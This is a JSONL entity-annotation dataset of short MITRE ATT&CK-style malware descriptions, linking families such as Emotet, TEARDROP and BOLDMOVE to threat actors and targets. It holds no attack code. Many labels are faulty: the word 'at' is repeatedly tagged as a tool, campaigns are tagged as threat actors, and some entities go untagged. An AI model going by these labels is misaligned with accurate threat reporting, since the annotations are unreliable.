{"text": "Bankshot is a remote access tool (RAT) that was first reported by the Department of Homeland Security in December of 2017. In 2018, Lazarus Group used the Bankshot implant in attacks against the Turkish financial sector.", "spans": {"MALWARE: Bankshot": [[0, 8], [155, 163]], "THREAT_ACTOR: Lazarus Group": [[132, 145]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0239"}}
{"text": "SharpDisco is a dropper developed in C# that has been used by MoustachedBouncer since at least 2020 to load malicious plugins.", "spans": {"MALWARE: SharpDisco": [[0, 10]], "SYSTEM: C#": [[37, 39]], "THREAT_ACTOR: MoustachedBouncer": [[62, 79]], "TOOL: at": [[86, 88]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1089"}}
{"text": "StrongPity is an information stealing malware used by PROMETHIUM.", "spans": {"MALWARE: StrongPity": [[0, 10]], "THREAT_ACTOR: PROMETHIUM": [[54, 64]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0491"}}
{"text": "HAPPYWORK is a downloader used by APT37 to target South Korean government and financial victims in November 2016.", "spans": {"MALWARE: HAPPYWORK": [[0, 9]], "THREAT_ACTOR: APT37": [[34, 39]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0214"}}
{"text": "xCaon is an HTTP variant of the BoxCaon malware family that has used by IndigoZebra since at least 2014. xCaon has been used to target political entities in Central Asia, including Kyrgyzstan and Uzbekistan.", "spans": {"MALWARE: xCaon": [[0, 5], [105, 110]], "SYSTEM: HTTP": [[12, 16]], "MALWARE: BoxCaon": [[32, 39]], "THREAT_ACTOR: IndigoZebra": [[72, 83]], "TOOL: at": [[90, 92]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0653"}}
{"text": "PLAINTEE is a malware sample that has been used by Rancor in targeted attacks in Singapore and Cambodia.", "spans": {"MALWARE: PLAINTEE": [[0, 8]], "THREAT_ACTOR: Rancor": [[51, 57]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0254"}}
{"text": "Pony is a credential stealing malware, though has also been used among adversaries for its downloader capabilities. The source code for Pony Loader 1.0 and 2.0 were leaked online, leading to their use by various threat actors.", "spans": {"MALWARE: Pony": [[0, 4], [136, 140]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0453"}}
{"text": "WinMM is a full-featured, simple backdoor used by Naikon.", "spans": {"MALWARE: WinMM": [[0, 5]], "THREAT_ACTOR: Naikon": [[50, 56]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0059"}}
{"text": "Nebulae Is a backdoor that has been used by Naikon  since at least 2020.", "spans": {"MALWARE: Nebulae": [[0, 7]], "THREAT_ACTOR: Naikon": [[44, 50]], "TOOL: at": [[58, 60]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0630"}}
{"text": "Janicab is an OS X trojan that relied on a valid developer ID and oblivious users to install it.", "spans": {"MALWARE: Janicab": [[0, 7]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0163"}}
{"text": "AuditCred is a malicious DLL that has been used by Lazarus Group during their 2018 attacks.", "spans": {"MALWARE: AuditCred": [[0, 9]], "THREAT_ACTOR: Lazarus Group": [[51, 64]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0347"}}
{"text": "Lurid is a malware family that has been used by several groups, including PittyTiger, in targeted attacks as far back as 2006.", "spans": {"MALWARE: Lurid": [[0, 5]], "THREAT_ACTOR: PittyTiger": [[74, 84]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0010"}}
{"text": "TONESHELL is a custom backdoor that has been used since at least Q1 2021.   TONESHELL malware has previously been leveraged by Chinese affiliated actors identified as Mustang Panda.", "spans": {"MALWARE: TONESHELL": [[0, 9], [76, 85]], "TOOL: at": [[56, 58]], "THREAT_ACTOR: Mustang Panda": [[167, 180]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1239"}}
{"text": "UPSTYLE is a Python-based backdoor associated with exploitation of Palo Alto firewalls using CVE-2024-3400 in early 2024. UPSTYLE has only been observed in relation to this exploitation activity, which involved attempted install on compromised devices by the threat actor UTA0218.", "spans": {"MALWARE: UPSTYLE": [[0, 7], [122, 129]], "SYSTEM: Python": [[13, 19]], "SYSTEM: Palo Alto": [[67, 76]], "CVE_ID: CVE-2024-3400": [[93, 106]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1164"}}
{"text": "Kasidet is a backdoor that has been dropped by using malicious VBA macros.", "spans": {"MALWARE: Kasidet": [[0, 7]], "SYSTEM: VBA": [[63, 66]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0088"}}
{"text": "Hannotog is a type of backdoor malware uniquely assoicated with Lotus Blossom operations since at least 2022.", "spans": {"MALWARE: Hannotog": [[0, 8]], "THREAT_ACTOR: Lotus Blossom": [[64, 77]], "TOOL: at": [[95, 97]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1211"}}
{"text": "OceanSalt is a Trojan that was used in a campaign targeting victims in South Korea, United States, and Canada. OceanSalt shares code similarity with SpyNote RAT, which has been linked to APT1.", "spans": {"MALWARE: OceanSalt": [[0, 9], [111, 120]], "MALWARE: SpyNote RAT": [[149, 160]], "THREAT_ACTOR: APT1": [[187, 191]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0346"}}
{"text": "Playcrypt is a ransomware that has been used by Play since at least 2022 in attacks against against the business, government, critical infrastructure, healthcare, and media sectors in North America, South America, and Europe. Playcrypt derives its name from adding the .play extension to encrypted files and has overlap with tactics and tools associated with Hive and Nokoyawa ransomware and infrastructure associated with Quantum ransomware.", "spans": {"MALWARE: Playcrypt": [[0, 9], [226, 235]], "THREAT_ACTOR: Play": [[48, 52]], "TOOL: at": [[59, 61]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1162"}}
{"text": "Brave Prince is a Korean-language implant that was first observed in the wild in December 2017. It contains similar code and behavior to Gold Dragon, and was seen along with Gold Dragon and RunningRAT in operations surrounding the 2018 Pyeongchang Winter Olympics.", "spans": {"MALWARE: Brave Prince": [[0, 12]], "MALWARE: Gold Dragon": [[137, 148], [174, 185]], "MALWARE: RunningRAT": [[190, 200]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0252"}}
{"text": "Medusa Ransomware has been utilized in attacks since at least 2021. Medusa Ransomware has been known to be utilized in conjunction with living off the land techniques and remote management software. Medusa Ransomware has been used in campaigns associated with “double extortion” ransomware activity, where data is exfiltrated from victim environments prior to encryption, with threats to publish files if a ransom is not paid. Medusa Ransomware software was initially a closed ransomware variant which later evolved to a Ransomware as a Service (RaaS). Medusa Ransomware has impacted victims from a diverse range of sectors within a multitude of countries, and it is assessed Medusa Ransomware is used in an opportunistic manner.", "spans": {"MALWARE: Medusa Ransomware": [[0, 17], [68, 85], [199, 216], [427, 444], [553, 570], [676, 693]], "TOOL: at": [[53, 55]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1244"}}
{"text": "RainyDay is a backdoor tool that has been used by Naikon since at least 2020.", "spans": {"MALWARE: RainyDay": [[0, 8]], "THREAT_ACTOR: Naikon": [[50, 56]], "TOOL: at": [[63, 65]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0629"}}
{"text": "Ecipekac is a multi-layer loader that has been used by menuPass since at least 2019 including use as a loader for P8RAT, SodaMaster, and FYAnti.", "spans": {"MALWARE: Ecipekac": [[0, 8]], "THREAT_ACTOR: menuPass": [[55, 63]], "TOOL: at": [[70, 72]], "MALWARE: P8RAT": [[114, 119]], "MALWARE: SodaMaster": [[121, 131]], "MALWARE: FYAnti": [[137, 143]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0624"}}
{"text": "AppleSeed is a backdoor that has been used by Kimsuky to target South Korean government, academic, and commercial  targets since at least 2021.", "spans": {"MALWARE: AppleSeed": [[0, 9]], "THREAT_ACTOR: Kimsuky": [[46, 53]], "TOOL: at": [[129, 131]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0622"}}
{"text": "BUSHWALK is a web shell written in Perl that was inserted into the legitimate querymanifest.cgi file on compromised Ivanti Connect Secure VPNs during Cutting Edge.", "spans": {"MALWARE: BUSHWALK": [[0, 8]], "SYSTEM: Perl": [[35, 39]], "THREAT_ACTOR: Cutting Edge": [[150, 162]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1118"}}
{"text": "macOS.OSAMiner is a Monero mining trojan that was first observed in 2018; security researchers assessed macOS.OSAMiner may have been circulating since at least 2015. macOS.OSAMiner is known for embedding one run-only AppleScript into another, which helped the malware evade full analysis for five years due to a lack of Apple event (AEVT) analysis tools.", "spans": {"MALWARE: macOS.OSAMiner": [[0, 14], [104, 118], [166, 180]], "TOOL: at": [[151, 153]], "ORGANIZATION: Apple": [[320, 325]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1048"}}
{"text": "LOWBALL is malware used by admin@338. It was used in August 2015 in email messages targeting Hong Kong-based media organizations.", "spans": {"MALWARE: LOWBALL": [[0, 7]], "THREAT_ACTOR: admin@338": [[27, 36]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0042"}}
{"text": "NETWIRE is a publicly available, multiplatform remote administration tool (RAT) that has been used by criminal and APT groups since at least 2012.", "spans": {"MALWARE: NETWIRE": [[0, 7]], "TOOL: at": [[132, 134]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0198"}}
{"text": "TinyTurla is a backdoor that has been used by Turla against targets in the US, Germany, and Afghanistan since at least 2020.", "spans": {"MALWARE: TinyTurla": [[0, 9]], "THREAT_ACTOR: Turla": [[46, 51]], "TOOL: at": [[110, 112]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0668"}}
{"text": "PyDCrypt is malware written in Python designed to deliver DCSrv. It has been used by Moses Staff since at least September 2021, with each sample tailored for its intended victim organization.", "spans": {"MALWARE: PyDCrypt": [[0, 8]], "SYSTEM: Python": [[31, 37]], "MALWARE: DCSrv": [[58, 63]], "THREAT_ACTOR: Moses Staff": [[85, 96]], "TOOL: at": [[103, 105]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1032"}}
{"text": "J-magic is a custom variant of the cd00r backdoor tailored to target Juniper routers that was first observed during the J-magic Campaign in mid-2023. J-magic monitors TCP traffic for five predefined parameters or \"magic packets\" to be sent by the attackers before activating on compromised devices.", "spans": {"MALWARE: J-magic": [[0, 7], [150, 157]], "MALWARE: cd00r": [[35, 40]], "SYSTEM: Juniper": [[69, 76]], "THREAT_ACTOR: J-magic Campaign": [[120, 136]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1203"}}
{"text": "PowerExchange is a PowerShell backdoor that has been used by OilRig since at least 2023 including against government targets in the Middle East.", "spans": {"MALWARE: PowerExchange": [[0, 13]], "TOOL: PowerShell": [[19, 29]], "THREAT_ACTOR: OilRig": [[61, 67]], "TOOL: at": [[74, 76]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1173"}}
{"text": "BOOKWORM is a modular trojan known to be leveraged by Mustang Panda and was first observed utilized in 2015.  BOOKWORM was later updated in late 2021 and the fall of 2022 to launch shellcode represented as UUID parameters.", "spans": {"MALWARE: BOOKWORM": [[0, 8], [110, 118]], "THREAT_ACTOR: Mustang Panda": [[54, 67]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1226"}}
{"text": "HyperStack is a RPC-based backdoor used by Turla since at least 2018. HyperStack has similarities to other backdoors used by Turla including Carbon.", "spans": {"MALWARE: HyperStack": [[0, 10], [70, 80]], "THREAT_ACTOR: Turla": [[43, 48], [125, 130]], "TOOL: at": [[55, 57]], "MALWARE: Carbon": [[141, 147]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0537"}}
{"text": "iKitten is a macOS exfiltration agent  .", "spans": {"MALWARE: iKitten": [[0, 7]], "SYSTEM: macOS": [[13, 18]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0278"}}
{"text": "HAMMERTOSS is a backdoor that was used by APT29 in 2015.", "spans": {"MALWARE: HAMMERTOSS": [[0, 10]], "THREAT_ACTOR: APT29": [[42, 47]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0037"}}
{"text": "OLDBAIT is a credential harvester used by APT28.", "spans": {"MALWARE: OLDBAIT": [[0, 7]], "THREAT_ACTOR: APT28": [[42, 47]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0138"}}
{"text": "Bad Rabbit is a self-propagating ransomware that affected the Ukrainian transportation sector in 2017. Bad Rabbit has also targeted organizations and consumers in Russia.", "spans": {"MALWARE: Bad Rabbit": [[0, 10], [103, 113]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0606"}}
{"text": "CosmicDuke is malware that was used by APT29 from 2010 to 2015.", "spans": {"MALWARE: CosmicDuke": [[0, 10]], "THREAT_ACTOR: APT29": [[39, 44]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0050"}}
{"text": "EvilGrab is a malware family with common reconnaissance capabilities. It has been deployed by menuPass via malicious Microsoft Office documents as part of spearphishing campaigns.", "spans": {"MALWARE: EvilGrab": [[0, 8]], "THREAT_ACTOR: menuPass": [[94, 102]], "SYSTEM: Microsoft Office": [[117, 133]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0152"}}
{"text": "EnvyScout is a dropper that has been used by APT29 since at least 2021.", "spans": {"MALWARE: EnvyScout": [[0, 9]], "THREAT_ACTOR: APT29": [[45, 50]], "TOOL: at": [[57, 59]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0634"}}
{"text": "SslMM is a full-featured backdoor used by Naikon that has multiple variants.", "spans": {"MALWARE: SslMM": [[0, 5]], "THREAT_ACTOR: Naikon": [[42, 48]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0058"}}
{"text": "STATICPLUGIN is a downloader known to be leveraged by Mustang Panda and was first observed utilized in 2025.  STATICPLUGIN has utilized a valid certificate in order to bypass endpoint security protections.  STATICPLUGIN masqueraded as legitimate software installer by using a custom TForm.  STATICPLUGIN has been leveraged to deploy a loader that facilitates follow on malware.", "spans": {"MALWARE: STATICPLUGIN": [[0, 12], [110, 122], [207, 219], [291, 303]], "THREAT_ACTOR: Mustang Panda": [[54, 67]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1238"}}
{"text": "IMAPLoader is a .NET-based loader malware exclusively associated with CURIUM operations since at least 2022. IMAPLoader leverages email protocols for command and control and payload delivery.", "spans": {"MALWARE: IMAPLoader": [[0, 10], [109, 119]], "SYSTEM: .NET": [[16, 20]], "THREAT_ACTOR: CURIUM": [[70, 76]], "TOOL: at": [[94, 96]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1152"}}
{"text": "GreyEnergy is a backdoor written in C and compiled in Visual Studio. GreyEnergy shares similarities with the BlackEnergy malware and is thought to be the successor of it.", "spans": {"MALWARE: GreyEnergy": [[0, 10], [69, 79]], "MALWARE: BlackEnergy": [[109, 120]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0342"}}
{"text": "Gomir is a Linux backdoor variant of the Go-based malware GoBear, uniquely assoicated with Kimsuky operations.", "spans": {"SYSTEM: Linux": [[11, 16]], "MALWARE: GoBear": [[58, 64]], "THREAT_ACTOR: Kimsuky": [[91, 98]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1198"}}
{"text": "Aria-body is a custom backdoor that has been used by Naikon since approximately 2017.", "spans": {"MALWARE: Aria-body": [[0, 9]], "THREAT_ACTOR: Naikon": [[53, 59]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0456"}}
{"text": "Emotet is a modular malware variant which is primarily used as a downloader for other malware variants such as TrickBot and IcedID. Emotet first emerged in June 2014, initially targeting the financial sector, and has expanded to multiple verticals over time.", "spans": {"MALWARE: Emotet": [[0, 6], [132, 138]], "MALWARE: TrickBot": [[111, 119]], "MALWARE: IcedID": [[124, 130]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0367"}}
{"text": "SNUGRIDE is a backdoor that has been used by menuPass as first stage malware.", "spans": {"MALWARE: SNUGRIDE": [[0, 8]], "THREAT_ACTOR: menuPass": [[45, 53]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0159"}}
{"text": "Olympic Destroyer is malware that was used by Sandworm Team against the 2018 Winter Olympics, held in Pyeongchang, South Korea. The main purpose of the malware was to render infected computer systems inoperable. The malware leverages various native Windows utilities and API calls to carry out its destructive tasks. Olympic Destroyer has worm-like features to spread itself across a computer network in order to maximize its destructive impact.", "spans": {"MALWARE: Olympic Destroyer": [[0, 17], [317, 334]], "THREAT_ACTOR: Sandworm Team": [[46, 59]], "SYSTEM: Windows": [[249, 256]], "SYSTEM: API": [[271, 274]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0365"}}
{"text": "BOLDMOVE is a type of backdoor malware written in C linked to People’s Republic of China operations from 2022 through 2023. BOLDMOVE includes both Windows and Linux variants, with some Linux variants specifically designed for FortiGate Firewall devices. BOLDMOVE is linked to zero-day exploitation of CVE-2022-42475 in FortiOSS SSL-VPNs. The record for BOLDMOVE only covers known Linux variants.", "spans": {"MALWARE: BOLDMOVE": [[0, 8], [124, 132], [254, 262], [353, 361]], "SYSTEM: Windows": [[147, 154]], "SYSTEM: Linux": [[159, 164], [185, 190], [380, 385]], "SYSTEM: FortiGate": [[226, 235]], "CVE_ID: CVE-2022-42475": [[301, 315]], "SYSTEM: SSL": [[328, 331]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1184"}}
{"text": "Crimson is a remote access Trojan that has been used by Transparent Tribe since at least 2016.", "spans": {"MALWARE: Crimson": [[0, 7]], "THREAT_ACTOR: Transparent Tribe": [[56, 73]], "TOOL: at": [[80, 82]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0115"}}
{"text": "Tomiris is a backdoor written in Go that continuously queries its C2 server for executables to download and execute on a victim system. It was first reported in September 2021 during an investigation of a successful DNS hijacking campaign against a Commonwealth of Independent States (CIS) member. Security researchers assess there are similarities between Tomiris and GoldMax.", "spans": {"MALWARE: Tomiris": [[0, 7], [357, 364]], "SYSTEM: DNS": [[216, 219]], "MALWARE: GoldMax": [[369, 376]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0671"}}
{"text": "TEARDROP is a memory-only dropper that was discovered on some victim machines during investigations related to the SolarWinds Compromise. It was likely used by APT29 since at least May 2020.", "spans": {"MALWARE: TEARDROP": [[0, 8]], "THREAT_ACTOR: SolarWinds Compromise": [[115, 136]], "THREAT_ACTOR: APT29": [[160, 165]], "TOOL: at": [[172, 174]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0560"}}
{"text": "DUSTTRAP is a multi-stage plugin framework associated with APT41 operations with multiple components.", "spans": {"MALWARE: DUSTTRAP": [[0, 8]], "THREAT_ACTOR: APT41": [[59, 64]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1159"}}
{"text": "Turian is a backdoor that has been used by BackdoorDiplomacy to target Ministries of Foreign Affairs, telecommunication companies, and charities in Africa, Europe, the Middle East, and Asia. First reported in 2021, Turian is likely related to Quarian, an older backdoor that was last observed being used in 2013 against diplomatic targets in Syria and the United States.", "spans": {"MALWARE: Turian": [[0, 6], [215, 221]], "THREAT_ACTOR: BackdoorDiplomacy": [[43, 60]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0647"}}
{"text": "THINCRUST is a Python-based backdoor tool that has been used by UNC3886 since at least 2023.", "spans": {"MALWARE: THINCRUST": [[0, 9]], "SYSTEM: Python": [[15, 21]], "THREAT_ACTOR: UNC3886": [[64, 71]], "TOOL: at": [[78, 80]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1223"}}
{"text": "BADHATCH is a backdoor that has been utilized by FIN8 since at least 2019. BADHATCH has been used to target the insurance, retail, technology, and chemical industries in the United States, Canada, South Africa, Panama, and Italy.", "spans": {"MALWARE: BADHATCH": [[0, 8], [75, 83]], "THREAT_ACTOR: FIN8": [[49, 53]], "TOOL: at": [[60, 62]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1081"}}
{"text": "Machete is a cyber espionage toolset used by Machete. It is a Python-based backdoor targeting Windows machines that was first observed in 2010.", "spans": {"MALWARE: Machete": [[0, 7], [45, 52]], "SYSTEM: Python": [[62, 68]], "SYSTEM: Windows": [[94, 101]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0409"}}
{"text": "PowerLess is a PowerShell-based modular backdoor that has been used by Magic Hound since at least 2022.", "spans": {"MALWARE: PowerLess": [[0, 9]], "TOOL: PowerShell": [[15, 25]], "THREAT_ACTOR: Magic Hound": [[71, 82]], "TOOL: at": [[89, 91]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1012"}}
{"text": "Action RAT is a  remote access tool written in Delphi that has been used by SideCopy since at least December 2021 against Indian and Afghani government personnel.", "spans": {"MALWARE: Action RAT": [[0, 10]], "THREAT_ACTOR: SideCopy": [[76, 84]], "TOOL: at": [[91, 93]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1028"}}
{"text": "Avenger is a downloader that has been used by BRONZE BUTLER since at least 2019.", "spans": {"MALWARE: Avenger": [[0, 7]], "THREAT_ACTOR: BRONZE BUTLER": [[46, 59]], "TOOL: at": [[66, 68]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0473"}}
{"text": "DUSTPAN is an in-memory dropper written in C/C++ used by APT41 since 2021 that decrypts and executes an embedded payload.", "spans": {"MALWARE: DUSTPAN": [[0, 7]], "THREAT_ACTOR: APT41": [[57, 62]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1158"}}
{"text": "Prikormka is a malware family used in a campaign known as Operation Groundbait. It has predominantly been observed in Ukraine and was used as early as 2008.", "spans": {"MALWARE: Prikormka": [[0, 9]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0113"}}
{"text": "PUBLOAD is a stager malware that has been observed installing itself in existing directories such as `C:\\Users\\Public` or creating new directories to stage the malware and its components.  PUBLOAD malware collects details of the victim host, establishes persistence, encrypts victim details using RC4 and communicates victim details back to C2.  PUBLOAD malware has previously been leveraged by China-affiliated actors identified as Mustang Panda.   PUBLOAD is also known as “NoFive” and some public reporting identifies the loader component as CLAIMLOADER.", "spans": {"MALWARE: PUBLOAD": [[0, 7], [189, 196], [346, 353], [450, 457]], "FILEPATH: C:\\Users\\Public`": [[102, 118]], "THREAT_ACTOR: Mustang Panda": [[433, 446]], "MALWARE: CLAIMLOADER": [[545, 556]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1228"}}
{"text": "Gootloader is a Javascript-based infection framework that has been used since at least 2020 as a delivery method for the Gootkit banking trojan, Cobalt Strike, REvil, and others. Gootloader operates on an \"Initial Access as a Service\" model and has leveraged SEO Poisoning to provide access to entities in multiple sectors worldwide including financial, military, automotive, pharmaceutical, and energy.", "spans": {"MALWARE: Gootloader": [[0, 10], [179, 189]], "TOOL: at": [[78, 80]], "TOOL: Cobalt Strike": [[145, 158]], "MALWARE: REvil": [[160, 165]], "SYSTEM: Access": [[214, 220]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1138"}}
{"text": "PingPull is a remote access Trojan (RAT) written in Visual C++ that has been used by GALLIUM since at least June 2022. PingPull has been used to target telecommunications companies, financial institutions, and government entities in Afghanistan, Australia, Belgium, Cambodia, Malaysia, Mozambique, the Philippines, Russia, and Vietnam.", "spans": {"MALWARE: PingPull": [[0, 8], [119, 127]], "THREAT_ACTOR: GALLIUM": [[85, 92]], "TOOL: at": [[99, 101]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1031"}}
{"text": "WellMess is lightweight malware family with variants written in .NET and Golang that has been in use since at least 2018 by APT29.", "spans": {"MALWARE: WellMess": [[0, 8]], "SYSTEM: .NET": [[64, 68]], "TOOL: at": [[107, 109]], "THREAT_ACTOR: APT29": [[124, 129]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0514"}}
{"text": "Dacls is a multi-platform remote access tool used by Lazarus Group since at least December 2019.", "spans": {"MALWARE: Dacls": [[0, 5]], "THREAT_ACTOR: Lazarus Group": [[53, 66]], "TOOL: at": [[73, 75]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0497"}}
{"text": "DropBook is a Python-based backdoor compiled with PyInstaller.", "spans": {"MALWARE: DropBook": [[0, 8]], "SYSTEM: Python": [[14, 20]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0547"}}
{"text": "Woody RAT is a remote access trojan (RAT) that has been used since at least August 2021 against Russian organizations.", "spans": {"MALWARE: Woody RAT": [[0, 9]], "TOOL: at": [[67, 69]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1065"}}
{"text": "Mafalda is a flexible interactive implant that has been used by Metador. Security researchers assess the Mafalda name may be inspired by an Argentinian cartoon character that has been popular as a means of political commentary since the 1960s.", "spans": {"MALWARE: Mafalda": [[0, 7], [105, 112]], "THREAT_ACTOR: Metador": [[64, 71]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1060"}}
{"text": "KARAE is a backdoor typically used by APT37 as first-stage malware.", "spans": {"MALWARE: KARAE": [[0, 5]], "THREAT_ACTOR: APT37": [[38, 43]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0215"}}
{"text": "Squirrelwaffle is a loader that was first seen in September 2021. It has been used in spam email campaigns to deliver additional malware such as Cobalt Strike and the QakBot banking trojan.", "spans": {"MALWARE: Squirrelwaffle": [[0, 14]], "TOOL: Cobalt Strike": [[145, 158]], "MALWARE: QakBot": [[167, 173]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1030"}}
{"text": "ELMER is a non-persistent, proxy-aware HTTP backdoor written in Delphi that has been used by APT16.", "spans": {"MALWARE: ELMER": [[0, 5]], "SYSTEM: HTTP": [[39, 43]], "THREAT_ACTOR: APT16": [[93, 98]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0064"}}
{"text": "CANONSTAGER is a loader known to be leveraged by Mustang Panda and was first observed utilized in 2025.  Mustang Panda utilizes DLL side-loading to execute within the victim environment prior to delivering a follow-on malicious encrypted payload.  CANONSTAGER leverages Thread Local Storage (TLS) and Native Windows APIs within the victim environment to elude detections. CANONSTAGER also hides its code utilizing window procedures and message queues.", "spans": {"MALWARE: CANONSTAGER": [[0, 11], [248, 259], [372, 383]], "THREAT_ACTOR: Mustang Panda": [[49, 62], [105, 118]], "SYSTEM: TLS": [[292, 295]], "SYSTEM: Windows": [[308, 315]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1237"}}
{"text": "PolyglotDuke is a downloader that has been used by APT29 since at least 2013. PolyglotDuke has been used to drop MiniDuke.", "spans": {"MALWARE: PolyglotDuke": [[0, 12], [78, 90]], "THREAT_ACTOR: APT29": [[51, 56]], "TOOL: at": [[63, 65]], "MALWARE: MiniDuke": [[113, 121]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0518"}}
{"text": "HexEval Loader is a hex-encoded loader that collects host data, decodes follow-on scripts and acts as a downloader for the BeaverTail malware.  HexEval Loader was first reported in April 2025.  HexEval Loader has previously been leveraged by North Korea-affiliated threat actors identified as Contagious Interview.  HexEval Loader has been delivered to victims through code repository sites utilizing typosquatting naming conventions of various npm packages.", "spans": {"MALWARE: HexEval Loader": [[0, 14], [144, 158], [194, 208], [316, 330]], "MALWARE: BeaverTail": [[123, 133]], "THREAT_ACTOR: Contagious Interview": [[293, 313]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1249"}}
{"text": "A Linux rootkit that provides backdoor access and hides from defenders.", "spans": {"SYSTEM: Linux": [[2, 7]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0221"}}
{"text": "AuTo Stealer is malware written in C++ has been used by SideCopy since at least December 2021 to target government agencies and personnel in India and Afghanistan.", "spans": {"MALWARE: AuTo Stealer": [[0, 12]], "THREAT_ACTOR: SideCopy": [[56, 64]], "TOOL: at": [[71, 73]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1029"}}
{"text": "ShrinkLocker is a VBS-based malicious script that leverages the legitimate Bitlocker application to encrypt files on victim systems for ransom. ShrinkLocker functions by using Bitlocker to encrypt files, then renames impacted drives to the adversary’s contact email address to facilitate communication for the ransom payment.", "spans": {"MALWARE: ShrinkLocker": [[0, 12], [144, 156]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1178"}}
{"text": "Hildegard is malware that targets misconfigured kubelets for initial access and runs cryptocurrency miner operations. The malware was first observed in January 2021. The TeamTNT activity group is believed to be behind Hildegard.", "spans": {"MALWARE: Hildegard": [[0, 9], [218, 227]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0601"}}
{"text": "Agent.btz is a worm that primarily spreads itself via removable devices such as USB drives. It reportedly infected U.S. military networks in 2008.", "spans": {"MALWARE: Agent.btz": [[0, 9]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0092"}}
{"text": "SLOWDRIFT is a backdoor used by APT37 against academic and strategic victims in South Korea.", "spans": {"MALWARE: SLOWDRIFT": [[0, 9]], "THREAT_ACTOR: APT37": [[32, 37]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0218"}}
{"text": "SHUTTERSPEED is a backdoor used by APT37.", "spans": {"MALWARE: SHUTTERSPEED": [[0, 12]], "THREAT_ACTOR: APT37": [[35, 40]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0217"}}
{"text": "SombRAT is a modular backdoor written in C++ that has been used since at least 2019 to download and execute malicious payloads, including FIVEHANDS ransomware.", "spans": {"MALWARE: SombRAT": [[0, 7]], "TOOL: at": [[70, 72]], "MALWARE: FIVEHANDS": [[138, 147]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0615"}}
